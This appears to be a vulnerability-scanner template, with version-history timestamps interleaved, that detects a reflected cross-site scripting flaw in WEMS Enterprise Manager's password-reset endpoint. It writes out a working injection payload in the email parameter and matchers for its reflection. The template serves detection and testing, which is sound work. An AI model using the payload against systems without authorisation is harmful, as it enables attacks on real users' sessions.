2020-08-30 05:40:09 +00:00
id : wems-manager-xss
info :
2022-05-13 20:26:43 +00:00
name : WEMS Enterprise Manager - Cross-Site Scripting
2020-08-30 05:40:09 +00:00
author : pikpikcu
2022-09-23 17:53:08 +00:00
severity : high
description : WEMS Enterprise Manager contains a cross-site scripting vulnerability via the /guest/users/forgotten endpoint and the email parameter, which allows a remote attacker to inject arbitrary JavaScript into the response return by the server.
2021-08-18 11:37:49 +00:00
reference :
2021-04-29 05:57:39 +00:00
- https://packetstormsecurity.com/files/155777/WEMS-Enterprise-Manager-2.58-Cross-Site-Scripting.html
2022-09-23 17:53:08 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score : 7.2
cwe-id : CWE-79
2022-08-27 04:41:18 +00:00
tags : xss,packetstorm
2020-08-30 05:40:09 +00:00
requests :
- method : GET
path :
2020-09-03 15:56:31 +00:00
- '{{BaseURL}}/guest/users/forgotten?email=%22%3E%3Cscript%3Econfirm(document.domain)%3C/script%3E'
2020-08-30 05:40:09 +00:00
matchers-condition : and
matchers :
- type : status
status :
- 200
- type : word
words :
- '"><script>confirm(document.domain)</script>'
part : body
2020-12-13 19:24:23 +00:00
- type : word
words :
- "text/html"
2022-05-13 20:26:43 +00:00
part : header
2022-09-23 17:53:08 +00:00
# Enhanced by mp on 2022/09/23
